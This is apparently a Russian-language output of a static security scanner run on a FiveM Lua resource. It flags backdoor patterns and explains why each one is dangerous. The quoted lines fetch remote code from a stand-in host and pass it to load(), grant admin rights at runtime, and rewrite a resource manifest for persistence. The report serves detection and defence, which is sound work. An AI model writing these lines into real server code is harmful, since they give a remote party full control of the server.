Generated with devtoolsgg.comФайлов: 1 Строк: 13[X] 4 критический [!] 2 высокий [-] 0 средний [.] 0 низкий[X] Скачивает код и выполняет его pasted.lua:2 > PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body) HTTP-запрос стоит в паре строк от вызова load(). Эта пара — удалённый shell: кто владеет URL, тот владеет вашим сервером. Опубликованные сканеры считают это однозначным сигналом.[X] assert(load(...)) выполняет строку как код pasted.lua:4 > assert(load(body))() Самая распространённая форма бэкдора в FiveM. Любая строка, которая доходит до load(), выполняется с полными правами сервера. Отследите, откуда эта строка берётся; если она скачивается, декодируется или собирается в рантайме, считайте resource скомпрометированной.[X] Выдаёт права в рантайме pasted.lua:10 > ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier)) Resource выдаёт идентификатору права админа прямо во время работы сервера, поэтому в вашем permissions.cfg это никогда не появится. Посмотрите, какому идентификатору. Если не вашему — это бэкдор.[X] Переписывает fxmanifest pasted.lua:13 > SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1) Правка manifest в рантайме добавляет скрипт в resource, не трогая файлы самого этого скрипта. Легитимных причин так делать нет.[!] Исходящий HTTP-запрос pasted.lua:2 > PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body) Проверьте назначение. Проверка лицензии на домен самого автора — это нормально; запрос на домен, который вы не узнаёте, особенно если он несёт идентификаторы или конфиг, — нет.[!] Пишет файл resource в рантайме pasted.lua:13 > SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1) Именно так бэкдор переживает перезапуск: он переписывает сам себя, другую resource или fxmanifest после того, как его вычистили. Задокументированное поведение семейств Blum Panel и Cipher. Посмотрите, какую resource и какой файл он пишет. 6 pasted.luaСтатические эвристики, а не доказательство: они отмечают формы, которыеобычно неправильны, и молчат о логике, которую не видят. Прочитайтеотмеченные строки, а затем сравните resource с оригинальным релизом еёавтора.